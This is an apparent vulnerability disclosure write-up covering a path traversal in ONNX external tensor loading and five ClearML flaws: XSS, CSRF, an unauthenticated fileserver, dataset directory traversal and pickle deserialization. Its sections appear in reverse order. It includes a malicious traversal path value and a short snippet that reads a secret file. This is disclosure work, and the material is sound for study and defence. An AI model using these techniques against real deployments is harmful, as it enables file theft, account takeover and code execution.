def _sanitize_path(path: str) -> str:
    """Remove path components which would allow traversing up a directory tree from a base path.

    Note: This method is currently very basic and should be expanded.
    """
    return path.lstrip("/.")

The original patch fixed a large number of path traversals by removing the “/” and “.” characters from the start of a path in order to remove absolute and relative paths being used by an attacker. However, nested path traversal attacks and absolute paths on Windows were not prevented. An attacker could exploit a nested path traversal attack by first going into a directory and then using relative paths to escape it, a very probable attack given that an attacker could provide the model with a directory containing external tensors, thus knowing the path of the directory. This style of attack is not stopped by the above due to the sanitization only stripping the bad characters at the start of a path.

When the user loads a malicious model with an external tensor pointing at external_data/../../secret their system would then load the data from that file into the model:

import onnx

model = onnx.load("model.onnx")
tensors = onnx.external_data_helper._get_all_tensors(model)
for tensor in tensors:
    print(tensor)

Once run we can see that the super secret password was read.

Our fifth vulnerability was a Cross-Site Scripting (XSS) vulnerability discovered in the web server component. Whenever users submit an artifact, they can also report samples, such as images, that are displayed under the debug samples tab. When submitting an image, a user can provide a URL rather than uploading an image. However, if the URL has the extension .html, the web server retrieves the HTML page, which is assumed to contain trusted data. The HTML is passed to the bypassSecurityTrustResourceUrl function, marking it as safe and rendering the code on the page, resulting in arbitrary JavaScript running in any user’s browser when they view the samples tab.

The fourth vulnerability is a Cross-Site Request Forgery (CSRF) vulnerability affecting all API endpoints. During our research, we discovered that the ClearML server has no protections against CSRF, allowing an attacker to impersonate a user by creating a malicious web page that, when visited by the victim, will send a request from their browser. By exploiting this vulnerability, an attacker can fully compromise a user’s account, enabling them to change data and settings or add themselves to projects and workspaces.

Our third vulnerability is present in the fileserver component of the ClearML Server, which does not authenticate any requests to its endpoints, meaning an attacker can arbitrarily upload, delete, modify, or download files on the fileserver, even if the files belong to another user.

The ability to arbitrarily upload files means that the fileserver can be used to host any files, which could cause issues with space and storage but can also lead to more serious, potentially legal ramifications if the server is used to host malware or stolen or contraband data. To conduct an attack, an adversary only needs to know the address of the ClearML server, which can be obtained via a quick Shodan search (more on this later). Once they have a valid target, they can begin manipulating files on the fileserver, which, by default, is on port 8081, on the same IP address as the web server. It is important to note that when the contents of a file are modified directly in this manner, the web UI will not reflect these changes – the file size and checksum shown will remain the same. Therefore, an attacker could add malicious content to a previously verified file with no evidence of a change visible to regular users.

Our second vulnerability is a directory traversal inside the Datasets class within the _download_external_files method. An attacker can upload or modify a dataset containing a link pointing to a file they want to drop and the path they want to write it to on the user’s system. When a user interacts with this dataset, it triggers the download, such as when using the Dataset.squash method. The uploaded file will be written to the user’s file system at the attacker-specified location. An important note is that the external link can point to a local file by using file://, the implication being that this introduces the potential for sensitive local files to be moved to externally accessible directories.

ClearML Server

The ClearML Server is a central hub for managing projects, datasets, tasks, and more. It consists of multiple components, including an API server that users can connect to via a client to perform tasks; a web server that users can connect to via a web UI to perform tasks; a fileserver where relevant files, such as artifacts and models, are stored by default; and a MongoDB instance, that stores authentication information, among other items.

‍

‍

‍

The first vulnerability that our team found within ClearML involves the inherent insecurity of pickle files. We discovered that an attacker could create a pickle file containing arbitrary code and upload it as an artifact to a project via the API. When a user calls the get method within the Artifact class to download and load a file into memory, the pickle file is deserialized on their system, running any arbitrary code it contains.

‍